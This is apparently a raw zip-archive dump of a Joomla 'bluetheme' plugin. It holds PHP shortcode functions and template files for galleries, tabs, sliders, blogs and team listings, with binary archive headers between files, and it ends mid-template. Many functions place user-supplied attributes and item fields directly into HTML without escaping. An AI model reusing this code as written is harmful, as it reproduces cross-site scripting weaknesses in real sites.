function mediaPopupShortcode($atts,$content=null){
	extract(shortcode_atts(array(
        "class" => '',
        "link" => '',
    ), $atts));
    $youtube ='<a class="st-media '.$class.'" href="'.$link.'" >'.do_shortcode($content).'</a>';
    return $youtube;
}

//Galleries
$ig_new_array = array();
add_shortcode("gallery", "galleryShortcode");
function galleryShortcode($atts,$content=null){
	extract(shortcode_atts(array(
        "class" => ''
    ), $atts));
	global $st_config;
    $id = rand();
    global $ig_new_array;
    $ig_new_array = array();
    do_shortcode($content);
    $gallery ='<div class="st-gallery '.$class.'">';
    foreach($ig_new_array as $key=>$item){
    	if($key==0 || ($key+1)%4==1) $gallery.='<div class="row-fluid">';
    	$gallery.='<div class="span3 st-item-gallery"><a class="stgallery" rel="'.$id.'" href="'.trim($item['content']).'" title="'.$item['title'].'"><img alt="'.$item['title'].'" style="width:100%;" src="'.trim($item['content']).'" title="'.$item['title'].'" /><div class="stmark"></div></a></div>';
    	if((($key+1)==count($ig_new_array)) || (($key+1)%4==0 && $key>0)) $gallery.="</div>";
    }
    $gallery.='</div>';
    return $gallery;
}

// Item Gallery
add_shortcode('item_gallery', 'itemGalleryShortcode');
function itemGalleryShortcode($atts,$content=null){
	extract(shortcode_atts(array(
        "title" => '',
        "description"=>''
    ), $atts));
    global $ig_new_array;
    $ig_new_array[] = array("title" => $title ,"description"=>$description, "content" => do_shortcode($content));
}

// Alert
add_shortcode('alert','alertShortcode');
function alertShortcode($atts,$content=null){
	extract(shortcode_atts(array(
    	"type" => '',
    	"title"=>'',
    	"class" => ''
	), $atts));
	switch ($type) {
		case 'success':
			$type='alert-success';
			$ico ='icon-checkmark-circle';
			break;
		case 'error':
			$type='alert-error';
			$ico ='icon-x-altx-alt';
			break;
		case 'info':
			$type='alert-info';
			$ico ='icon-info-2';
			break;
		default:
			$type='';
			$ico ='icon-exclamation-sign';
			break;
	}
	$alert = '<div class="alert '.$type.'"><button type="button" class="close" data-dismiss="alert"><i class="icon-remove-sign"></i></button>';
	$alert .='<i class="alert-ico '.$ico.'"></i>';
	if($title!=''){
			$alert.='<h4>'.$title.'</h4>';
	}
	$alert.=$content;
	$alert .='</div>';
	return $alert;
}

//Testimonial
add_shortcode('testimonial','testimonialShortcode');
function testimonialShortcode($atts,$content=null){
	extract(shortcode_atts(array(
    	"author" => '',
    	"position" => '',
    	"class" => ''
	), $atts));
	$testimo  = '<div class="st-testimonial '.$class.'"><i class="icon-quote-left pull-left"></i>';
	$testimo .= '<div class="st-testimonial-ct">'.$content.'</div>';
	$testimo .= '<div class="st-testimonial-author"><span class="st-author-name">'.$author.',</span><span class="st-author-position">'.$position.'</span></div>';
	$testimo .= '</div>';
	return $testimo;
}


// Blockquote
add_shortcode('blockquote','blockquoteShortcode');
function blockquoteShortcode($atts,$content=null){
	extract(shortcode_atts(array(
    	"class" => '',
    	"align" => 'center',
    	"color" => '#999999'
    	), $atts));
    $blockquote = '<div class="st-blockquote-'.$align.' '.$class.'" style="color:'.$color.'">';
    $blockquote.= do_shortcode($content);
	$blockquote.= '</div>';
	return $blockquote;
}

// Module position
add_shortcode('module', 'moduleShortcode');
function moduleShortcode($atts,$content=null){
 	extract(shortcode_atts(array(
    	"number" => '0',
    	"style"  => 'none'
    	), $atts));
    $st = new ShinethemePlugin();
    return $st->loadModule($content,$number,$style);
}
// Module id
add_shortcode('moduleid', 'moduleidShortcode');
function moduleidShortcode($atts,$content=null){
 	extract(shortcode_atts(array(
    	"id" => '0'
    	), $atts));
    $st = new ShinethemePlugin();
    return $st->loadModuleId($id);
}

# Accordion Block
$acc_new_array = array();
add_shortcode('accordion', 'accordionShortcode');
function accordionShortcode($atts, $content = null)
{
	$id = rand();
	global $acc_new_array;
	extract(shortcode_atts(array(
		"class"			=> ''
	), $atts));
    $acc_new_array = array();
	$accordion = '<div class="accordion '.$class.'" id="accordion'.$id.'">';
	do_shortcode($content);
	foreach($acc_new_array as $key=> $item){
		$accordion .='<div class="panel panel-boxme">';
			$accordion.='<div class="panel-style1 '.(($key==0)?"active":"").'">';
				$accordion.='<h4>';
					$accordion.='<span class="plus-box">'.(($key==0)?"-":"&#43;").'</span>';
					$accordion.='<a class="accordion-toggle" data-toggle="collapse" data-parent="#accordion'.$id.'" href="#collapse-'.$id.'-'.$key.'">';
						$accordion.=$item['title'];
					$accordion.='</a>';
				$accordion.='</h4>';
			$accordion.='</div>';
			$accordion.='<div id="collapse-'.$id.'-'.$key.'" class="collapse collapse-boxme '.(($key==0)?"in":"").'">';
				$accordion.='<div class="padt20">';
					$accordion.=$item['content'];
				$accordion.='</div>';
			$accordion.='</div>';
		$accordion .="</div>";
	}
	$accordion .= "</div>";
	return $accordion;
}

add_shortcode('acc_item', 'accItemShortcode');
function accItemShortcode($atts, $content = null)
{
	extract(shortcode_atts(array(
        "title" => ''
    ), $atts));
    global $acc_new_array;
    $acc_new_array[] = array("title" => $title , "content" => do_shortcode($content));
}

add_shortcode('title','titleShortcode');
function titleShortcode($atts,$content=null){
	extract(shortcode_atts(array(
        "class" => 'style-1',
        "margin"=>'0'
    ), $atts));
    return "<div class='sc-title'><span class='st-title {$class}' style='margin-bottom:{$margin}px'>".$content."</span></div>";
}

// Columns
$column_new_array = array();
add_shortcode('columns', 'columnsShortcode');
function columnsShortcode($atts, $content = null){
	global $column_new_array;
    $column_new_array = array();
    extract(shortcode_atts(array(
    	"class" => ''
    	), $atts));
    do_shortcode($content);

    $columns ="<div class='row-fluid $class'>";
    foreach ($column_new_array as $key => $item) {
    	$columns.="<div class='span".$item['col']."'>".$item['content']."</div>";
    }
    $columns.="</div>";
    return $columns;
}

add_shortcode('column_item', 'columnItemShortcode');
function columnItemShortcode($atts, $content = null)
{
    extract(shortcode_atts(array(
        "col" => 'span12',
        "class"=>''
    ), $atts));
    global $column_new_array;
    $column_new_array[] = array("col" => $col , "content" => do_shortcode($content));
}

// Tabs
$tab_new_array = array();
$tab_new_array_drop = array();
add_shortcode('tabs', 'tabsShortcode');
function tabsShortcode($atts, $content = null)
{
    global $tab_new_array;
    global $tab_new_array_drop;
    $tab_new_array = array();
    $tab_new_array_drop = array();
    extract(shortcode_atts(array(
		"position"		=> 'top',
		"class"			=> ''
	), $atts));

    do_shortcode($content);
    $id = rand();
    $num = count($tab_new_array);
	if($position=='bottom'){
		$tab_title = '<div class="tabbable tabs-below '.$class.'"><div class="tab-content">';
	    for($i =0 ; $i< $num; $i++){
	        $a = ($i == 0)? "in active":"";
	        $tab_title .= '<div class="tab-pane fade '.$a.'" id="st_tabst'.$id.$i.'"><div class="tab-pane-ct">'.$tab_new_array[$i]['content'].'</div></div>';
	    }
	    $tab_title .= '</div><ul id="st_tabst" class="nav nav-tabs">';
	    for($i =0 ; $i< $num; $i++){
	    	if($i==0)
	        	$tab_title .= '<li class="active"><a href="#st_tabst'.$id.$i.'">'.$tab_new_array[$i]['title'].'</a></li>';
	        else
	        	$tab_title .= '<li><a href="#st_tabst'.$id.$i.'">'.$tab_new_array[$i]['title'].'</a></li>';
	    }
	    $tab_title .= '</ul>';
	    $tab_title    .= '</div>';
	}else{
		if($position=='left') $class='tabs-left';
		else if($position=='right') $class='tabs-right';
		else $class="tabs-top";

		$tab_title = '<div class="tabbable '.$class.'"><ul id="st_tabst" class="nav nav-tabs">';
	    for($i =0 ; $i< $num; $i++){
	    	if(is_array($tab_new_array[$i]['content'])){
	    		$tab_title.='<li class="dropdown '.(($i==0)?'active':'').'">';
	    			$tab_title.='<a href="#" class="dropdown-toggle" data-toggle="dropdown">'.$tab_new_array[$i]['title'].'<b class="caret"></b></a>';
	    			$tab_title.='<ul class="dropdown-menu">';
	    			foreach($tab_new_array[$i]['content'] as $keydrop => $tab_drop){
                    	$tab_title.='<li '.(($i==0&&$keydrop==0)?'class="active"':'').'><a href="#st_tabst_drop'.$id.$keydrop.'" data-toggle="tab">'.$tab_drop['title'].'</a></li>';
	    			}
                    $tab_title.='</ul>';
	    		$tab_title.='</li>';
	    	}else{
		        if($i==0)
		        	$tab_title .= '<li class="active"><a data-toggle="tab" href="#st_tabst'.$id.$i.'">'.$tab_new_array[$i]['title'].'</a></li>';
		        else
		        	$tab_title .= '<li><a href="#st_tabst'.$id.$i.'" data-toggle="tab">'.$tab_new_array[$i]['title'].'</a></li>';
		    }
	    }
	    $tab_title .= '</ul>';

	    $tab_title .= '<div class="tab-content">';
	    for($i =0 ; $i< $num; $i++){
	    	if(is_array($tab_new_array[$i]['content'])){
	    		foreach($tab_new_array[$i]['content'] as $keydrop => $tab_drop){
	    			$a = ($i == 0&&$keydrop==0)? "in active":"";
	    			$tab_title .= '<div class="tab-pane fade '.$a.'" id="st_tabst_drop'.$id.$keydrop.'"><div class="tab-pane-ct">'.$tab_drop['content'].'</div></div>';
	    		}
	    	}else{
		        $a = ($i == 0)? "in active":"";
		        $tab_title .= '<div class="tab-pane fade '.$a.'" id="st_tabst'.$id.$i.'"><div class="tab-pane-ct">'.$tab_new_array[$i]['content'].'</div></div>';
		    }
	    }
	    $tab_title    .= '</div></div>';
	}
    return $tab_title;
}
add_shortcode('tabst_item', 'tabstItemShortcode');
function tabstItemShortcode($atts, $content = null)
{
    extract(shortcode_atts(array(
        "title" => '',
        "class" => ''
    ), $atts));
    global $tab_new_array;
    global $tab_new_array_drop;
    $tab_new_array_drop = array();
    do_shortcode($content);
    if(count($tab_new_array_drop)>0){
    	$tab_new_array[] = array("title" => $title , "content" => $tab_new_array_drop);
	}else{
		$tab_new_array[] = array("title" => $title , "content" => do_shortcode($content));
	}
}

add_shortcode('tabst_item_drop','tabstItemDropShortcode');
function tabstItemDropShortcode($atts,$content=null){
	 extract(shortcode_atts(array(
        "title" => '@hello',
        "class" => ''
    ), $atts));
    global $tab_new_array_drop;
    $tab_new_array_drop[] = array("title"=>$title,"content"=>do_shortcode($content));
}

# Vimeo Block
add_shortcode('vimeo', 'vimeoShortcode');
function vimeoShortcode($atts, $content = null)
{
	extract(shortcode_atts(array(
		"height" => '300',
		"width"  => '400',
		"class"  => ''
	), $atts));
	preg_match('/http:\/\/vimeo.com\/(\d+)$/', $content, $id);
	
	$vimeo = '<div class="js-video">';
	$vimeo = $vimeo . '<iframe src="http://player.vimeo.com/video/' . $id[1] . '?title=0&amp;byline=0&amp;portrait=0" width="' . $width . '" height="' . $height . '" ></iframe>';
	$vimeo = $vimeo . '</div>';

	return $vimeo;
}


# Youtube
add_shortcode('youtube', 'youtubeShortcode');
function youtubeShortcode($atts, $content = null)
{
	extract(shortcode_atts(array(
		"height" => '300',
		"width"  => '400',
		"class"  => ''
	), $atts));

	preg_match('/[\\?\\&]v=([^\\?\\&]+)/', $content, $id);
	$youtube = '<div class="js-video" >';
	$youtube = $youtube . '<iframe src="http://www.youtube.com/embed/' . $id[1] . '?wmode=transparent" width="100%" height="100%"></iframe>';
	$youtube = $youtube . '</div>';
	return $youtube;
}


PK!���*bluetheme/assets/st_template/blog_list.phpnu&1i�<?php 

//$app = JFactory::getApplication();

//$doc = JFactory::getDocument();

//$menu = $app->getMenu();

//$item = $menu->getItem( $menuid );

//$menu_link = JRoute::_($item->link.'&Itemid='.$menuid);

$app = JFactory::getApplication();

$doc = JFactory::getDocument();



$item_menu = '';
$menuid = '138';
if ($menuid != '') {

	(int)$itemid = $menuid;

	$item_menu = '&amp;Itemid='.$itemid;

}



?>

<div class="row">

	<?php if(isset($catItems) && count($catItems)) : foreach($catItems as $key=> $item): ?>

		<?php

			$image_normal = $bt->getImageK2($item->id, 'XL');

	        $link = 'index.php?option=com_k2&amp;view=item&amp;id='.$item->id.':'.$item->alias .$item_menu ;

			$total = $K2ModelItem->countItemComments($item->id);

			$date = new DateTime($item->created);

			$author = $bt->getK2Author($item->created_by);

		?>

		<div class="<?php echo $col['class']; ?> wrap-pulication"> 

			<img src="<?php echo $image_normal; ?>" alt="<?php echo $item->title; ?>">

			<h5><?php echo $date->format('m F, Y'); ?></h5>

			<h4>Familiar idea with brand</h4>

			<p><?php echo JText::_('K2_BY'); ?> <a href="<?php echo  JRoute::_($link); ?>" class="name"><?php echo $author->name; ?> </a> - 

			<a href="<?php echo  JRoute::_($link); ?>" class="comment"><?php echo $total; ?> <?php echo JText::_('K2_COMMENT'); ?></a></p>

			<div class="introtext">

				<?php echo $item->introtext; ?>

			</div>

			<a href="<?php echo  JRoute::_($link); ?>"><?php echo JText::_('K2_READ_MORE'); ?></a> 

        </div>

	<?php endforeach; endif; ?>

</div>PK!���(bluetheme/assets/st_template/divider.phpnu&1i�<?php 
/*
	
*/

defined('_JEXEC') or die;
if($style=="none"){
	$st = "border:none;";
}else{
	$st= "border:1px solid #333;";
}

?>
<div class='st-divider <?php echo $dclass; ?>' <?php echo ($margin!='')?"style='padding:{$margin}px 0;{$st}'":"style='{$st}'"; ?> ></div>
PK!���DD'bluetheme/assets/st_template/slider.phpnu&1i�<?php 
defined('_JEXEC') or die;
?>
<!-- thumb-carousel : starts -->
<?php

$random = rand();
$items = count($ig_new_array);
$d = 3;
?>

<div class="box-section client-section triggerAnimation animated" data-animate="rollIn">
    <h2><?php echo $title; ?></h2>
    <div id="carousel-example-generic2" class="carousel slide" data-ride="carousel">
    
    	<!-- Wrapper for slides -->
    	<div class="carousel-inner">
            <?php $i = 0; foreach($ig_new_array as $key=>$item):
                $i++;
                $btactive = "";
                if ($key == 0) $btactive = 'active'; 
                if ($i == 1){
                    
                   echo '<div class="item '.$btactive.'">
							<ul class="clients">';
                }
            ?>
           
    			<li><a href="#"><img src="<?php echo trim($item['content']); ?>" alt=""></a></li>
        		
            
            <?php if ($key == (count($ig_new_array)-1)){
                    echo '</ul></div>';break;
                }
                if ($i == $d){echo '</ul></div>';;$i =0;} ?>
        <?php endforeach; ?>
    
        </div>
        <!-- Controls -->
		<a class="left carousel-control" href="#carousel-example-generic2" data-slide="prev"></a>
		<a class="right carousel-control" href="#carousel-example-generic2" data-slide="next"></a>
    </div>
</div>
PK!)�G�

(bluetheme/assets/st_template/gallery.phpnu&1i�<?php 
    defined('_JEXEC') or die;
?>
<div class="clients_wrapper">
    <ul class="clients">
        <?php
        foreach($ig_new_array as $key=>$item):
         //   var_dump($item); die();
        ?>
            <li class="entry" data-effect="fade"><a href="<?php echo urldecode($item['title']); ?>">
                <img alt="Client" src="<?php echo JURI::base() .'' .JString::ltrim(urldecode($item['content'])); ?>"></a><span class="magnifier"></span>
            </li>
        <?php endforeach; ?>
    </ul>
</div>PK!z,�

.bluetheme/assets/st_template/blog_carousel.phpnu&1i�<?php 

//$app = JFactory::getApplication();

//$doc = JFactory::getDocument();

//$menu = $app->getMenu();

//$item = $menu->getItem( $menuid );

//$menu_link = JRoute::_($item->link.'&Itemid='.$menuid);

$app = JFactory::getApplication();

$doc = JFactory::getDocument();



$item_menu = '';
$menuid = '138';
if ($menuid != '') {

	(int)$itemid = $menuid;

	$item_menu = '&amp;Itemid='.$itemid;

}

?>

<div id="publication-slider" class="owl-carousel">

	<?php if(isset($catItems) && count($catItems)) : foreach($catItems as $key=> $item): ?>

		<?php

			$image_normal = $bt->getImageK2($item->id, 'XL');

	        $link = 'index.php?option=com_k2&amp;view=item&amp;id='.$item->id.':'.$item->alias .$item_menu ;

			$total = $K2ModelItem->countItemComments($item->id);

			$date = new DateTime($item->created);

			$author = $bt->getK2Author($item->created_by);

		?>

		<div class="item"> 

			<img src="<?php echo $image_normal; ?>" alt="<?php echo $item->title; ?>">

			<h5><?php echo $date->format('m F, Y'); ?></h5>

			<h4>Familiar idea with brand</h4>

			<p><?php echo JText::_('K2_BY'); ?> <a href="<?php echo  JRoute::_($link); ?>" class="name"><?php echo $author->name; ?> </a> - 

			<a href="<?php echo  JRoute::_($link); ?>" class="comment"><?php echo $total; ?> <?php echo JText::_('K2_COMMENT'); ?></a></p>

			<div class="introtext">

				<?php echo $item->introtext; ?>

			</div>

			<a href="<?php echo  JRoute::_($link); ?>"><?php echo JText::_('K2_READ_MORE'); ?></a> 

        </div>

	<?php endforeach; endif; ?>

</div>PK!e��8}}(bluetheme/assets/st_template/bgvideo.phpnu&1i�<?php 

defined('_JEXEC') or die;
JHtml::_('script', 'plugins/system/bluetheme/assets/js/device.min.js');
JHtml::_('script', 'plugins/system/bluetheme/assets/js/okvideo.js');
$js = '	jQuery(function ($) {
    if( !device.tablet() && !device.mobile() ) {

			/* plays the BG Vimeo or Youtube video if non-mobile device is detected*/ 
			$.okvideo({ source: \''.$id.'\', 
		                    autoplay:true,
		                    loop: true,
		                    highdef:true,
		                    hd:true, 
		                    adproof: true,
		                    volume:'.$volume.' 
		                 });
						
		} else {
			
			/* displays a poster image if mobile device is detected*/ 
			$(\'.intro-video-bg\').addClass(\'poster-img\');
			
		}
   		
        
   
});';
JFactory::getDocument()->addScriptDeclaration($js);
?>

<!-- page-section : starts -->
<section id="intro" class="intro">
	<!-- inner-section : starts -->
	<section class="inner-section">

		<!-- container : starts -->
		<section class="container">
			<div class="row">
				<article class="col-md-12 text-left">
					<div class="intro-07-headletters full-height pad-common text-center">
						<div class="valign">
                        <?php if(!empty($imagelink)) : ?>
						<img alt="" title="" src="<?php echo JURI::base().$imagelink;?>"/>
                        <?php endif;?>
						<h3 class="intro-07-sub-heading white-text"><span><?php echo (!empty($title)? $title : '' ) ;?></span></h3>
						</div>
					</div>
				</article>
			</div>
		</section>
		<!-- container : ends -->

        	</section>
	<!-- inner-section : ends -->
</section>
<!-- page-section : ends -->
PK!��'

(bluetheme/assets/st_template/youtube.phpnu&1i�<?php 
defined('_JEXEC') or die;
?>
<div class="bt-video bt-youtube <?php echo $class; ?>" style="max-width:<?php echo $width; ?>px;height:<?php echo $height; ?>px;" >
	<iframe class="videoembed" src="http://www.youtube.com/embed/<?php echo trim($content); ?>?wmode=transparent<?php echo (($autoplay)? '&amp;autoplay=1' :'');?><?php echo (($loop)? '&amp;loop=1' :'');?><?php echo ((isset($hidecontrols))? '&amp;controls='.$hidecontrols :'');?>" width="<?php echo $width; ?>" height="<?php echo $height; ?>" ></iframe>
</div>
PK!uC�Z��1bluetheme/assets/st_template/slider_royslider.phpnu&1i�<?php 
defined('_JEXEC') or die;

$doc             = JFactory::getDocument();
$doc->addStyleSheet('templates/pressa/css/royalslider/skins/minimal-white/rs-minimal-white.css');
?>
<!-- thumb-carousel : starts -->
<?php

$random = rand();
$items = count($ig_new_array);
$d = 3;
?>
<section class="section-slider">
    <div id="full-width-slider" class="full-width-slider royalSlider heroSlider rsMinW">
    <?php $i = 0; foreach($ig_new_array as $key=>$item): ?>
        <div class="rsContent">
            <img class="rsImg" src="<?php echo JURI::base() .'' .trim($item['content']); ?>" alt="">
            <div class="infoBlock infoBlockRightBlack rsABlock" data-fade-effect="" data-move-offset="10" data-move-effect="bottom" data-speed="200">
                <h4><?php echo trim($item['title']); ?></h4>
                <p><?php echo trim($item['desc']); ?></p>
            </div>
        </div>
    <?php endforeach; ?>
    </div>
</section>
PK!�0���%bluetheme/assets/st_template/blog.phpnu&1i�<?php 
//$app = JFactory::getApplication();
//$doc = JFactory::getDocument();
//$menu = $app->getMenu();
//$item = $menu->getItem( $menuid );
//$menu_link = JRoute::_($item->link.'&Itemid='.$menuid);
$app = JFactory::getApplication();
$doc = JFactory::getDocument();

$menu = $app->getMenu();
$itemid   = $app->input->getCmd('Itemid', '');
$active = $menu->getItem($itemid);
$params = $menu->getParams( $active->id );
$pageclass = $params->get( 'pageclass_sfx' );

$item_menu = '';
if ($menuid != '') {
	(int)$itemid = $menuid;
	$item_menu = '&amp;Itemid='.$itemid;
}
?>
<section id="area-main" class="padding blog_v2">
	<div class="container-fluid">
		<div class="row">
			<article class="blog-wrap clearfix">
			<?php if(isset($catItems) && count($catItems)) : foreach($catItems as $key=> $item): ?>
				<?php
					$image_normal = $bt->getImageK2($item->id, 'XL');
                    $link = 'index.php?option=com_k2&amp;view=item&amp;id='.$item->id.':'.$item->alias .$item_menu ;
					$total = $K2ModelItem->countItemComments($item->id);
					$date = new DateTime($item->created);
					$author = $bt->getK2Author($item->created_by);
				?>
				<div class="blog-item col-md-6 col-sm-6 col-xs-12"> 
					<div class="blog-content-pic"> 
						<img src="<?php echo $image_normal; ?>" alt="<?php echo $item->title; ?>" class="img-responsive"> 
					</div>
					<div class="blog-content-bg text-center">
						<h3><a href="<?php echo  JRoute::_($link); ?>"><?php echo $item->title; ?></a></h3>
						<ul class="blog-author">
							<li><a href="<?php echo  JRoute::_($link); ?>"><i class="fa fa-user"></i><?php echo $author->name; ?></a></li>
							<li><a href="<?php echo  JRoute::_($link); ?>"><i class="fa fa-comment-o"></i><?php echo $total; ?></a></li>
							<li><a href="<?php echo  JRoute::_($link); ?>"><i class="fa fa-clock-o"></i><?php echo $date->format('m F, Y'); ?></a></li>
						</ul>
						<div class="introtext">
							<?php echo $item->introtext; ?>
						</div>
						<a href="<?php echo  JRoute::_($link); ?>" class="readmore bounce-top"><?php echo JText::_('K2_READ_MORE'); ?></a>
					</div>
				</div>
			<?php endforeach; endif; ?>
			</article>
		</div>
	</div>
</section>	PK!�M���,bluetheme/assets/st_template/testimonial.phpnu&1i�<?php 
    defined('_JEXEC') or die;
?>
<div id="carousel-example-generic" class="carousel slide flipInY" data-ride="carousel">
    <div class="carousel-inner text-center">
        <?php foreach($ig_new_array as $key=>$item): ?>
            <?php if($key == 0): ?>
                <div class="item active">
            <?php else: ?>
                <div class="item">
            <?php endif; ?>
                    <div class="testimonial">
                        <i class="fa fa-quote-left"></i>
                        <p><?php echo urldecode($item['desc']); ?></p>
                        <i class="fa fa-quote-right"></i>
                    </div>
                </div>
        <?php endforeach; ?>
    </div>
    <ol class="carousel-indicators">
        <?php foreach($ig_new_array as $key=>$item): ?>
            <li data-target="#carousel-example-generic" data-slide-to="<?php echo $key; ?>" 
                <?php if($key == 0): ?>
                    class="active">
                <?php else: ?>
                    class="">
                <?php endif; ?>
                <img src="<?php echo trim(urldecode($item['content'])); ?>" alt="<?php echo urldecode($item['title']); ?>" title="<?php echo urldecode($item['title']); ?>" class="img-circle">
                <span><b><?php echo urldecode($item['title']); ?></b> <?php echo urldecode($item['position']); ?></span>
            </li>
        <?php endforeach; ?>
    </ol>
</div>PK!�O{VV&bluetheme/assets/st_template/vimeo.phpnu&1i�<?php 
defined('_JEXEC') or die;
//https://vimeo.com/45830194
?>
<div class="bt-video bt-vimeo <?php echo $class; ?>" style="width:<?php echo $width; ?>px;height:<?php echo $height; ?>px;" >
	<iframe class="videoembed" src="//player.vimeo.com/video/<?php echo trim($content); ?>?title=<?php echo $title;?>&amp;byline=<?php echo $byline;?>&amp;portrait=<?php echo $portrait;?>&amp;autoplay=<?php echo $autoplay;?>&amp;hd_off=1&amp;loop=<?php echo $loop;?>&amp;badge=<?php echo $badge;?>&amp;color=<?php echo $color;?>" width="<?php echo $width; ?>" height="<?php echo $height; ?>" ></iframe>
</div>
PK!���#��2bluetheme/assets/st_template/slider_flexslider.phpnu&1i�<?php 
defined('_JEXEC') or die;
?>
<!-- thumb-carousel : starts -->
<?php

$random = rand();
$items = count($ig_new_array);
$d = 3;
?>
<div id="<?php echo $sid; ?>" class="portfolio-flexslider flexslider bt-slider <?php echo $sclass; ?>">
    <ul class="slides">
        <?php $i = 0; foreach($ig_new_array as $key=>$item): ?>
            <li>
                <img src="<?php echo JURI::base() .'' .trim($item['content']); ?>" alt="">
                <div class="desc">
                    <span class="title">
                        <a href="<?php echo trim($item['link']); ?>" title="">
                            <?php echo trim($item['title']); ?>
                        </a></span>                    
                    <span class="text">
                        <?php echo trim($item['desc']); ?>
                    </span>
                </div>
            </li>
        <?php endforeach; ?>
    </ul>
</div>
PK!X`��'bluetheme/assets/st_template/blog_3.phpnu&1i�<?php
$app = JFactory::getApplication();
$doc = JFactory::getDocument();

$menu = $app->getMenu();
$itemid   = $app->input->getCmd('Itemid', '');
$active = $menu->getItem($itemid);
$params = $menu->getParams( $active->id );
$pageclass = $params->get( 'pageclass_sfx' );

$item_menu = '';
if ($menuid != '') {
	(int)$itemid = $menuid;
	$item_menu = '&amp;Itemid='.$itemid;
}

if( !function_exists('load_module_position') ){
	function load_module_position( $position, $style = 'xhtml'){
		switch($style){
			case 'table':
				$style = 1;
				break;
			case 'horz':
				$style = 1;
				break;
			case 'none':
				$style = -1;
				break;
			case 'xhtml':
				$style = -2;
				break;
			case 'rounded':
				$style = -3;
				break;
			default:
				$style = -2;
				break;
		}

		$document   = JFactory::getDocument();
		$renderer   = $document->loadRenderer('module');
		$params      = array('style'=>$style);

		$contents = '';
		foreach (JModuleHelper::getModules($position) as $mod)  {
			$contents .= $renderer->render($mod, $params);
		}
		return $contents;
	}
}
if (JFactory::getDocument()->countModules('nayax-right')){
    $class_sidebar = 'col-md-8 col-sm-8';
} else {
    $class_sidebar = 'col-md-12 col-sm-12';
}

?>
<section id="area-main" class="padding blog_v3">
	<div class="container-fluid">
		<div class="row">
			<div class="<?php echo $class_sidebar; ?>">
				<article class="blog-wrap clearfix">
				<?php if(isset($catItems) && count($catItems)) : foreach($catItems as $key=> $item): ?>
					<?php
						$image_normal = $bt->getImageK2($item->id, 'XL');
	                    $link = 'index.php?option=com_k2&amp;view=item&amp;id='.$item->id.':'.$item->alias .$item_menu ;
						$total = $K2ModelItem->countItemComments($item->id);
						$date = new DateTime($item->created);
						$author = $bt->getK2Author($item->created_by);
					?>
					<div class="blog-item-v3 blog-item"> 
						<img src="<?php echo $image_normal; ?>" alt="<?php echo $item->title; ?>" class="img-responsive"> 
						<div class="blog-contentr">
							<h3><a href="<?php echo  JRoute::_($link); ?>"><?php echo $item->title; ?></a></h3>
							<ul class="blog-author">
								<li><a href="<?php echo  JRoute::_($link); ?>"><i class="fa fa-user"></i><?php echo $author->name; ?></a></li>
								<li><a href="<?php echo  JRoute::_($link); ?>"><i class="fa fa-comment-o"></i><?php echo $total; ?></a></li>
								<li><a href="<?php echo  JRoute::_($link); ?>"><i class="fa fa-clock-o"></i><?php echo $date->format('m F, Y'); ?></a></li>
							</ul>
							<div class="introtext">
								<?php echo $item->introtext; ?>
							</div>
							<a href="<?php echo  JRoute::_($link); ?>" class="readmore bounce-top"><?php echo JText::_('K2_READ_MORE'); ?></a>
						</div>
					</div>
				<?php endforeach; endif; ?>
				</article>
			</div>

            <?php if (JFactory::getDocument()->countModules('nayax-right')): ?>
            <aside class="col-md-4 col-sm-4 sidebar-wrapper">
                <?php 
                    if( function_exists('load_module_position') ){
                        echo load_module_position('nayax-right', 'widget'); 
                    }
                ?>
            </aside>
            <?php endif; ?>
		</div>
	</div>
</section>	PK!��<��%bluetheme/assets/st_template/team.phpnu&1i�<?php 
$app = JFactory::getApplication();
$doc = JFactory::getDocument();
$menu = $app->getMenu();
$itemid   = $app->input->getCmd('Itemid', '');
if ($menuid != '') {
  (int)$itemid = $menuid;
}
?>
<div class="row">
    <?php
    $delay = 100;
    if(isset($catItems) && count($catItems)) :
        foreach($catItems as $key=> $item):
            $image_normal = JURI::base() .'media' . '/' . 'k2' . '/'  . 'items' . '/'  . 'cache' . '/'  . md5("Image" . $item->id) . '_M.jpg';
            $tag_name = array();
            $itemTags = $K2ModelItem->getItemTags($item->id);
            $extraFields = json_decode($item->extra_fields);

            $bg_color = $title_color = $google_plus = $twitter = $facebook = $target = $youtube = '';
            $gallery = $gallery_item = '';
            $gallery_item_count = 0;
            foreach ($extraFields as $tmpl => $extraField) {
                $item_extra = $bt->getExtraFields($extraField->id);
                if(strtolower($item_extra->name) == 'title color' && $extraField->value != ''){
                    $title_color = 'color: ' .$extraField->value;
                    $bg_color = 'background-color: ' .$extraField->value;
                }        
                if(strtolower($item_extra->name) == 'target' && $extraField->value != ''){
                    switch ($extraField->value) {
                        case '1':
                            $target = 'target="_self" ';
                            break;
                        case '2':
                            $target = 'target="_blank" ';
                            break;                    
                        default:
                            $target = 'target="_blank" ';
                            break;
                    }
                }
                if(strtolower($item_extra->name) == 'google plus' && $extraField->value != '')
                    $google_plus = '<li><a href="' .$extraField->value .'" ' .$target .'><i class="fa fa-google-plus"></i></a></li>';
                if(strtolower($item_extra->name) == 'twitter' && $extraField->value != '')
                    $twitter = '<li><a href="' .$extraField->value .'" ' .$target .'><i class="fa fa-twitter"></i></a></li>';
                if(strtolower($item_extra->name) == 'facebook' && $extraField->value != '')
                    $facebook = '<li><a href="' .$extraField->value .'" ' .$target .'><i class="fa fa-facebook"></i></a></li>';
                if(strtolower($item_extra->name) == 'media' && $extraField->value != '')
                    $youtube = '<li><a data-rel="prettyPhoto" href="' .$extraField->value .'"><i class="fa fa-youtube-play"></i></a></li>';
                
                if(strtolower($item_extra->type) == 'image' && $extraField->value != ''){
                    if($gallery_item_count == 0)
                        $gallery_item .= '<a href="' .JURI::base() .substr($extraField->value, 1) .'" data-rel="prettyPhoto[gallery' .$item->id .']"><i class="fa fa-picture-o"></i></a>';
                    else
                        $gallery_item .= '<a class="hidden" href="' .JURI::base() .substr($extraField->value, 1) .'" data-rel="prettyPhoto[gallery' .$item->id .']">&nbsp;</a>';
                    $gallery_item_count ++;
                }
            }
            if($gallery_item != '')
                $gallery = '<li>' .$gallery_item .'</li>';
            
            if(isset($itemTags) && count($itemTags)) {
                foreach ($itemTags as $itm=>$tag_item) {
                  //    $tName = str_replace(" ", "_", $tag_item->name);
                    $tName = $tag_item->name;
                    $tag_name[] = $tName;
                }
            }
            $string_tags = implode(', ', $tag_name);
            if($key%$columns == 0 && $key != 0)
                $col['class'] .= ' clearfix bt-clearfix';
    ?>
    <div class="member-item <?php echo $col['class']; ?> bounceIn" data-delay="<?php echo $delay; ?>">
        <div class="team-image-sec">
            <div class="img-overlay" style="<?php echo $bg_color; ?>">&nbsp;</div>
            <figure><img title="Image" alt="<?php echo $item->title; ?>" src="<?php echo $image_normal; ?>" ></figure>
            <ul>
